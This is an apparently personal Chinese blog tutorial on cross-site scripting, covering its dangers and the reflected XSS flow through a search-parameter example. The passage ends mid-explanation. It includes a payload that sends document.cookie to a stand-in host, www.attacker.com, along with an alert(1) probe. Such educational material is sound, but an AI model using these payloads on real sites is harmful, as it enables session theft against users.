关于 Xss 攻击的那些事
文章首发于itsuki.cn个人博客
前言
准备秋招的时候, 背了一些关于 Xss 的八股文, 但是没有深入了解, 所以当时面试回答的时候, 只能自己背的那部分说出来, 当面试官一深问时, 就回答不出来了, 直到现在有时间去研究 Xss 攻击, 才发现和自己背的八股文有一些区别。
文章中的 🌰 源代码都可以在这里下载, 最好是自己运行一遍, 结合本文食用最佳!!!
什么是 Xss 攻击
跨站脚本攻击(Xss)是一种代码注入攻击, 允许攻击者在其他用户的浏览器上执行恶意 JavaScript。
攻击者不会直接针对受害者, 而是利用受害者所访问网站的漏洞, 让该网站为他提供恶意代码, 而对于受害者的浏览器来说, 恶意 JavaScript 也是网站中合法的一部分, 从某种角度上来说, 网站成为了攻击者的帮凶。
什么是恶意 JavaScript
如果是我们自己写的 JavaScript, 那么我们能保证它们不是恶意的, 它在我们的可控范围内, 如果不是我们自己的业务代码(比如说第三方包、注入的脚本), 我们需要小心与甄别了, 特别是以下这三种情况:
- JavaScript 可以访问用户的一些敏感信息, 比如说: document.cookie。
- JavaScript 可以通过使用 XMLHttpRequest、fetch 发送网络请求。
- JavaScript 可以通过使用 Dom Api 对页面进行任意的修改。
你可能会想这会有什么危害呢? 留到下一节再讲。
恶意 JavaScript 的后果
没想到吧, 下一小节这么快就到了, 事实上我们打开一个网站的控制台, 我们可以执行任意的 JavaScript, 并不会对我们的计算机造成影响, 但是如果做了上面的"坏操作"的话, 就会有以下风险。
- 盗取 cookie: 攻击者通过 document.cookie 获取受害者的 cookie, 将 cookie 信息发送到攻击者的服务器, 然后再进行后面的攻击比如说 csrf, 或者提取其敏感信息。
- 监听事件: 攻击者通过
addEventListener
注册键盘输入事件, 然后将受害者所有的输入发送给攻击者, 其中可能包括账号密码等敏感信息。 - 网站钓鱼: 攻击者通过 Dom 操作, 然后仿造一个一模一样的登陆框覆盖掉之前网站原先的登陆, 并将提交地址指向攻击者服务器, 受害者不知情就直接提交其敏感信息。
尽管这些攻击有很大不同, 但是大体类似的, 都是通过注入恶意 JavaScript 到受害者网站, 然后在网站上下文中执行, 这看来是合法的, 它只是被当作网站中一个脚本, 可以执行受害者可以执行的任何操作, 访问受害者可以访问的任何数据,
如果受害者是管理员的话, 那么这种情况更加危险, 它可以访问所有数据并且可以做任意操作。
Xss 攻击方式
Xss 攻击主要有三种方式:
- 反射型 Xss: 恶意 JavaScript 来自网络请求。
- 存储型 Xss: 恶意 JavaScript 来自数据库。
- 基于 Dom: 漏洞存在于前端而不是后端。
反射型 Xss
反射型 Xss 是地第一种 Xss 攻击方式, 恶意 JavaScript 是网站请求的一部分, 当网站发送网络请求时, 网站将这个恶意 JavaScript 包含在响应体当中。
攻击者可以通过各种方式(在网站上放置链接、或者通过电子邮件发送链接)诱使用户发出指定的请求, 然后返回恶意脚本进行 Xss 攻击,。 攻击可以直接针对已知用户, 也可以对任意用户进行攻击。
流程
- 攻击者制作一个恶意字符串的链接发送给受害者。
- 受害者被诱骗点击恶意链接, 然后访问该恶意链接进入有漏洞的网站。
- 网站后端进行处理返回拼接后的 html, html 中包含恶意 JavaScript。
- 受害者的浏览器接收到响应后解析执行, 混入其中的恶意 JavaScript 也被执行(比方说: 将受害者的 cookie 发送给攻击者)。
一开始觉得反射型看起来无害, 因为它要求受害者自己发送包含恶意字符串的链接, 我们不可能说自己攻击自己, 但实际上更多的方式是通过伪装让受害者对自己发送反射型攻击:
- 针对特定的某一个人, 攻击者可以将恶意链接发送给受害者(比如说: 邮箱、短信、消息等)并诱使他去访问。
- 针对一群人, 攻击者可以发布指向恶意链接(比如说: 个人网站、群消息、公告等)并等待访问者点击它。
这两种方法是相似的,都是通过伪装的方式, 屏蔽掉恶意字符串的链接, 否则用户会识别它。
举个 🌰🌰🌰
看了上面流程, 可能还不太懂, 再来一个实际的例子, 可以在这里看到源代码, 可以看到这样子的界面:
它有一个搜索功能, 在输入框上访问/search?q=关键字
即可点击搜索按钮即可进行搜索, 因为这里主要是展示 xss 攻击, 所以就没有做真正的搜索。
所以当我们进行搜索的时候, 会有一个q
的参数传递给后端。 所以有两种情况:
- 正常 JavaScript: 假如我们输入
q=keywords
, 传递给后端的数据就是{ q: 'keywords' }
, 这看起来没什么问题。 - 恶意 JavaScript: 假如我们输入
q=<script>alert(1)</script>
, 传递给后端的是{ q: '<script>alert(1)</script>' }
, 完蛋, 参数是恶意代码, 服务器直接渲染造成 xss 攻击。
当传入恶意 JavaScript 的时候, 这里我们已经造成了反射型 xss 攻击, 但是是对我们自己造成了 xss 攻击, 那么怎么对其他人造成反射型 xss 攻击呢?
按照上面那个流程, 我们再来走一遍:
- 第一步: 找到查询参数这个漏洞之后, 我们发现可以制造一个带有恶意 JavaScript 的 URL, 比如说制作一个
/search?q=<script> window.location="www.attacker.com?cookie="+document.cookie </script>
。 - 第二步: 然后通过邮箱、广告等方式诱使用户去点击, 访问恶意链接的网站。
- 第三步: 然后网站后端取出查询关键字, 这里对应的就是
<script>...</script>
, 然后进行拼接成 html, 然后将 html 返回给浏览器。 - 第四步: 用户浏览器执行执行
<script>...</script>
里的内容, 然后就把当前网站的 cookie 发送给攻击者。
由此我们知道, 反射型 Xss 需要点击某一个链接或者说触发某一个操作访问一个有漏洞的网站, 然后网站后端接收到之后再进行处理该请求, 后端根据前端传递过来的数据生成了对应的 html 然后返回给前端, 前端直接就进行了渲染, 那么反射是发生在哪里呢?
其实就是在后端处理的时候, 如果前端传递过来的数据本身就是恶意代码的话, 后端不会做一层过滤, 直接就渲染成了 html 然后返回给前端, 所以也就是在这里发生了所谓的"反射"。
继续拿上面那个例子, 当我们进行搜索时, 会渲染出关键字, 并且会展示搜索出来的结果。
URL 地址: http://xxxx/search?keywords=javascript
。
后端渲染之后返回给前端的 Html 结构: